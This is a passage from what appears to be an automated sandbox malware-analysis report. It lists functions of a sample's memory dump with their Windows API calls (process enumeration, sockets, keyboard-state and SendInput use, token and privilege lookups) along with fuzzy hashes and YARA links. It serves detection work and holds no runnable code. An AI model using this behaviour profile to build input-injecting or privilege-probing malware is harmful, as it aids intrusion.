Opcode Fuzzy Hash: ce8e0028437dd49c7a671b891d2a7277d293e5c9ef59849189aa94970e413888
Instruction Fuzzy Hash: 3B811A71A0010AEFCB04DF94CA85EEEB7B9FF89315F244558E506AB250DB71AE06DF60

Function 00FEA67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00FEA6AC
Process32FirstW.KERNEL32(00000000,?), ref: 00FEA6BA

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

Process32NextW.KERNEL32(00000000,?), ref: 00FEA79C
CloseHandle.KERNEL32(00000000), ref: 00FEA7AB

Part of subcall function 00F7CE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00FA3303,?), ref: 00F7CE8A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: ae6a0752222435c1c56bd407043d98f472c0a65f2031b0271488d275010af5a2
Instruction ID: 7624c66799a6ff4ec743fd4ef6f40fcf192606876a6ecbc0b8c00325f0bac515
Opcode Fuzzy Hash: ae6a0752222435c1c56bd407043d98f472c0a65f2031b0271488d275010af5a2
Instruction Fuzzy Hash: A3515971508310AFD310EF24CC86A6BBBE8FF89754F00891DF58997291EB34E904EB92

Function 00FA1391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00FA14C0

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 3e403f880e7b49bf90a5ae862719ee8357261d5f8167ff646ce9625284b1f55e
Instruction ID: ddb4f9c8e53be677e6aff2e99b7d12206ea17112ca601deca7683753adcaa357
Opcode Fuzzy Hash: 3e403f880e7b49bf90a5ae862719ee8357261d5f8167ff646ce9625284b1f55e
Instruction Fuzzy Hash: D9410AB1E002146FEF21FBBD8C45AAE3AA5FF4B370F164225F819D6191E778484173A1

Function 00FF6278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00FF62E2
ScreenToClient.USER32(?,?), ref: 00FF6315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00FF6382

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 39b5fca68ac999a8ab40250f7c1909737d901578f85b4731ab26a86a100538ab
Instruction ID: 1898507ebb6df250639ea3e6de0276cc9746c656ec7410402804c2ec150f7989
Opcode Fuzzy Hash: 39b5fca68ac999a8ab40250f7c1909737d901578f85b4731ab26a86a100538ab
Instruction Fuzzy Hash: 2F511874A00209AFCF24DF68D9809BE7BB5EF55360F108169F955DB2A0DB30AD41EB90

Function 00FE1AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00FE1AFD
WSAGetLastError.WSOCK32 ref: 00FE1B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00FE1B8A
WSAGetLastError.WSOCK32 ref: 00FE1B94

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 4a4369be2f672b5ec6abe4fd27f90c6561d7d47a1330fc2332760e964d207c3e
Instruction ID: 89fb3bece4c9dc989e74dad124db51b10816b748257254c77b6b6a6b248c91ae
Opcode Fuzzy Hash: 4a4369be2f672b5ec6abe4fd27f90c6561d7d47a1330fc2332760e964d207c3e
Instruction Fuzzy Hash: 3B41A035600200AFE720AF25C886F2A77E5AF84718F54C488F95A9F3D2D776ED41DB91

Function 00F9B41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90b86673d3ceaa91cb4e38e75e2edbb3184c5347880323414764a261b6550c7a
Instruction ID: 14162f42431190d4dc7df41b810df1b98193b77fa8164ae9f44c372f53a97723
Opcode Fuzzy Hash: 90b86673d3ceaa91cb4e38e75e2edbb3184c5347880323414764a261b6550c7a
Instruction Fuzzy Hash: C0411B75E00304BFEB24EF7CDD41BAA7BE9EB84720F10452AF151DB291D775A901A790

Function 00FD56D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00FD5783
GetLastError.KERNEL32(?,00000000), ref: 00FD57A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00FD57CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00FD57FA

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: d5646b67b505eb458f59ea667e926a34c610998bad806c55ee90848990c7ae85
Instruction ID: d76bd9afa8144c05a7036352852e50328d3f2f8bcd119bb6621d5f979159f5d4
Opcode Fuzzy Hash: d5646b67b505eb458f59ea667e926a34c610998bad806c55ee90848990c7ae85
Instruction Fuzzy Hash: 31414E35600614DFCB11EF15C944A5EBBF2EF89724B198489E84AAB366CB34FD40EB91

Function 00F9D8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,8BE85006,00F86D71,00000000,00000000,00F882D9,?,00F882D9,?,00000001,00F86D71,8BE85006,00000001,00F882D9,00F882D9), ref: 00F9D910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00F9D999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00F9D9AB
__freea.LIBCMT ref: 00F9D9B4

Part of subcall function 00F93820: RtlAllocateHeap.NTDLL(00000000,?,01031444,?,00F7FDF5,?,?,00F6A976,00000010,01031440,00F613FC,?,00F613C6,?,00F61129), ref: 00F93852

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 9908d12a808f2440af039e33cca0637399e3cf75a4267e4daf0afd2bcb71da97
Instruction ID: f92ccebdac5bf1eaabca3a289505972a541b7317fe977603db0b8c996f943b2d
Opcode Fuzzy Hash: 9908d12a808f2440af039e33cca0637399e3cf75a4267e4daf0afd2bcb71da97
Instruction Fuzzy Hash: 7E31E172A0021AABEF24EF64DC41EAE7BA5EF40360F254169FC04D7150EB39DD50EB90

Function 00FF52C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 00FF5352
GetWindowLongW.USER32(?,000000F0), ref: 00FF5375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00FF5382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00FF53A8

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: f37a568165cd7b4c5842ffee246066b99af42600002fae6512727430a53640e0
Instruction ID: 550e9c1bb7135f94a09dde6e1dad2d937c1deece4ef7b0110b2178c983f02792
Opcode Fuzzy Hash: f37a568165cd7b4c5842ffee246066b99af42600002fae6512727430a53640e0
Instruction Fuzzy Hash: 1031AD35E55A0CAEEB309A58CC05BF877A7AF04BA0F584102BB50962F1C7B59940BB82

Function 00FCAB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,7694C0D0,?,00008000), ref: 00FCABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 00FCAC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 00FCAC74
SendInput.USER32(00000001,?,0000001C,7694C0D0,?,00008000), ref: 00FCACC6

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: c06d3f1d406ae1cf6eb2095026d1068cb4ab19eaff9578f3869481dc6abd1a57
Instruction ID: 32cb83e624143608bfbd9d340bddc99ea77d9f4b01fda15d3964aebebe14246a
Opcode Fuzzy Hash: c06d3f1d406ae1cf6eb2095026d1068cb4ab19eaff9578f3869481dc6abd1a57
Instruction Fuzzy Hash: EB314A30E0421E6FEF35CB648E0AFFA7BA5AB44328F04421EE484921D0C375E985A792

Function 00FF7674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00FF769A
GetWindowRect.USER32(?,?), ref: 00FF7710
PtInRect.USER32(?,?,00FF8B89), ref: 00FF7720
MessageBeep.USER32(00000000), ref: 00FF778C

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 429070a6fed49d6aeb34b88a21543cead656816424e6c08a8a2ea828c0ca49a3
Instruction ID: fd6ea4ccdd7c8ded68ad5908cc904e3062c7e6d22052742103008e279cf52d88
Opcode Fuzzy Hash: 429070a6fed49d6aeb34b88a21543cead656816424e6c08a8a2ea828c0ca49a3
Instruction Fuzzy Hash: 7841AD36A0931DEFCB11EF58C884EB9FBF5BF48714F1940A9E6549B260C331A941EB90

Function 00FF16DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00FF16EB

Part of subcall function 00FC3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00FC3A57
Part of subcall function 00FC3A3D: GetCurrentThreadId.KERNEL32 ref: 00FC3A5E
Part of subcall function 00FC3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00FC25B3), ref: 00FC3A65

GetCaretPos.USER32(?), ref: 00FF16FF
ClientToScreen.USER32(00000000,?), ref: 00FF174C
GetForegroundWindow.USER32 ref: 00FF1752

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 5a6048712b3f1299c783350015dda4cbc1bec9a3c576f68e29ecda123a17c10e
Instruction ID: c9388b34e1eeca55e64db78e6151e8c429729652a1290a9a826b467e6e80a7cb
Opcode Fuzzy Hash: 5a6048712b3f1299c783350015dda4cbc1bec9a3c576f68e29ecda123a17c10e
Instruction Fuzzy Hash: AB315E76D00249AFC700EFA9C981DBEBBFDEF48304B5480AAE455E7211E7359E45DBA0

Function 00FF8FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F79BB2

GetCursorPos.USER32(?), ref: 00FF9001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00FB7711,?,?,?,?,?), ref: 00FF9016
GetCursorPos.USER32(?), ref: 00FF905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00FB7711,?,?,?), ref: 00FF9094

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 8b8b661a64a2ae041ffbe9a19ce3fe4bac4d379c851517e5cd553d94dac9e415
Instruction ID: ef7f676b816d261f1cfa5c41c9adc9bf61e3a2864dc4c929d858247bdf6bde18
Opcode Fuzzy Hash: 8b8b661a64a2ae041ffbe9a19ce3fe4bac4d379c851517e5cd553d94dac9e415
Instruction Fuzzy Hash: 25216035A0401CEFDB258FA4C858FFA7BB9EF89360F144055F6054B2A1C7759990EF64

Function 00FCD2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00FFCB68), ref: 00FCD2FB
GetLastError.KERNEL32 ref: 00FCD30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 00FCD319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00FFCB68), ref: 00FCD376

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 2a009a0817cf6fb9584217c3c421d7f1707975da2aba37117bffff6d5e0c82b5
Instruction ID: dde1764a91e15e29860b5eb4644ebfcd350ea978ab8ab43b39809c7773232632
Opcode Fuzzy Hash: 2a009a0817cf6fb9584217c3c421d7f1707975da2aba37117bffff6d5e0c82b5
Instruction Fuzzy Hash: 6421B7705083069F8300DF24CA8296E77E8EE55364F504A2DF499C72A1D731D949EB93

Function 00FC1571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC1014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00FC102A
Part of subcall function 00FC1014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00FC1036
Part of subcall function 00FC1014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00FC1045
Part of subcall function 00FC1014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00FC104C
Part of subcall function 00FC1014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00FC1062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00FC15BE
_memcmp.LIBVCRUNTIME ref: 00FC15E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00FC1617
HeapFree.KERNEL32(00000000), ref: 00FC161E

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 9fae5c7479e91cb0cadba35bc937479ed0821f28fa898f681386854e86ee1357
Instruction ID: 21aadc39aedf3ad9ffe39c4c8388fecfcb8f54451cbfb229842ab364d7d03e6b
Opcode Fuzzy Hash: 9fae5c7479e91cb0cadba35bc937479ed0821f28fa898f681386854e86ee1357
Instruction Fuzzy Hash: 57217C71E0010AAFDB10DFA4CA46FEEB7B8FF45354F184459E441A7242D734AA15EB90

Function 00FF2782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00FF280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00FF2824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00FF2832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00FF2840

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 589118a38f91e8e46252b2ca844f6d10fa7db3586b994387a2ea6c8b8c943579
Instruction ID: 46c7c6618156a19f05ee834c5c1d6603110a396a6e734fbc26263d6d39f2adcf
Opcode Fuzzy Hash: 589118a38f91e8e46252b2ca844f6d10fa7db3586b994387a2ea6c8b8c943579
Instruction Fuzzy Hash: 1C21E032604519AFD7149B24CC44FBA7B99AF45324F188158F5268B2E2CB75EC82EBD0

Function 00FC78F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC8D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,00FC790A,?,000000FF,?,00FC8754,00000000,?,0000001C,?,?), ref: 00FC8D8C
Part of subcall function 00FC8D7D: lstrcpyW.KERNEL32(00000000,?,?,00FC790A,?,000000FF,?,00FC8754,00000000,?,0000001C,?,?,00000000), ref: 00FC8DB2
Part of subcall function 00FC8D7D: lstrcmpiW.KERNEL32(00000000,?,00FC790A,?,000000FF,?,00FC8754,00000000,?,0000001C,?,?), ref: 00FC8DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00FC8754,00000000,?,0000001C,?,?,00000000), ref: 00FC7923
lstrcpyW.KERNEL32(00000000,?,?,00FC8754,00000000,?,0000001C,?,?,00000000), ref: 00FC7949
lstrcmpiW.KERNEL32(00000002,cdecl,?,00FC8754,00000000,?,0000001C,?,?,00000000), ref: 00FC7984

Strings

cdecl, xrefs: 00FC797B

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 5cd31e3b501d3e1dd27adc87e6f50be1303aa95000a51a14282abb2a441e3ae0
Instruction ID: 2ca26dadb256592be50fa9bb6d9d24daa8b191291734c64fc78006719ef3ae09
Opcode Fuzzy Hash: 5cd31e3b501d3e1dd27adc87e6f50be1303aa95000a51a14282abb2a441e3ae0
Instruction Fuzzy Hash: 7811063A200306ABCB156F34DC46E7B77A9FF453A0B10402EF946C7264EB319811EBA1

Function 00FF7CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00FF7D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00FF7D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00FF7D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00FDB7AD,00000000), ref: 00FF7D6B

Part of subcall function 00F79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F79BB2

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
